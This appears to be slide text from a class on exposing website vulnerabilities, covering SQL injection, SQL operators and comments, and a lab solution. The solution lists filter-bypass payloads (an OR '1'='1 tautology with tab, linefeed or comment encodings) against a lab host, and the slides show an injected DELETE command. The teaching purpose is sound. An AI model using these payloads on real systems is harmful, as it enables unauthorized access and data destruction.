VU21997 - Expose Website Security Vulnerabilities - Class 3 SQLi
VU21997 - Expose Website Security Vulnerabilities - Class 3 SQLi
Security Vulnerabilities
OWASP #1: SQL INJECTION
OWASP
Today, no one can log in. Database admin notices the database is empty!
In the website log files, they see:
1:00pm: login successful=madskillz2017
1:01pm: login successful=DELETE *.*
What happened??? What was supposed to happen?
DELETE command Injected in the login process
Database was supposed to look up a name (DATA). Instead, it ran the DELETE command
SQL
Comparison Operators:
Greater than/Greater than equal to: > >=
Less than/Less than equal to: < <=
Equal to / Not equal to: = <>
Logical Operators: AND OR
1. SELECT name FROM address WHERE name = “jeff”
SELECT name FROM address WHERE postcode = 3000
2. SELECT name FROM address WHERE name = “jeff” OR postcode = 3000
SELECT name FROM address WHERE name = “jeff” AND postcode = 3000
Which one shows all Jeffs that live in the CBD?
What does the other query show?
3. SELECT name FROM address WHERE name <> “jeff”
SQL Comments
/* --This is a comment
This delete all records SELECT * FROM ADDRESSES
and I’m writing a
multi-line comment
3. End-of-line-comment
across 4 lines
DELETE FROM address #This is bad
*/
DELETE FROM address WHERE name=‘Jeff’
Or
URL Encoding
SQL Union
4. Too easy? Fire up BurpSuite, FoxyProxy, intercept/manipulate your SQL. Then: Try next slide.
Fix these queries (W3 schools DB)
Try for 2 minutes (go ahead to 3 and onwards if you’ve solved this)
If you solve it, try to find a 2nd and a 3rd way to bypass the filter
SQLi Lab #2 solution
Solution:
Replace with tab %09 or linefeed %0A or comments /**/ in the gap below – does it work?
http://192.168.2.141/sqli/example2.php?name=root___OR___’1’=‘1
E.g. http://192.168.2.141/sqli/example2.php?name=root%09OR%09’1’=‘1
Try this out. Does it work with %0A? Does it work with /**/ ?
Try #3 – 7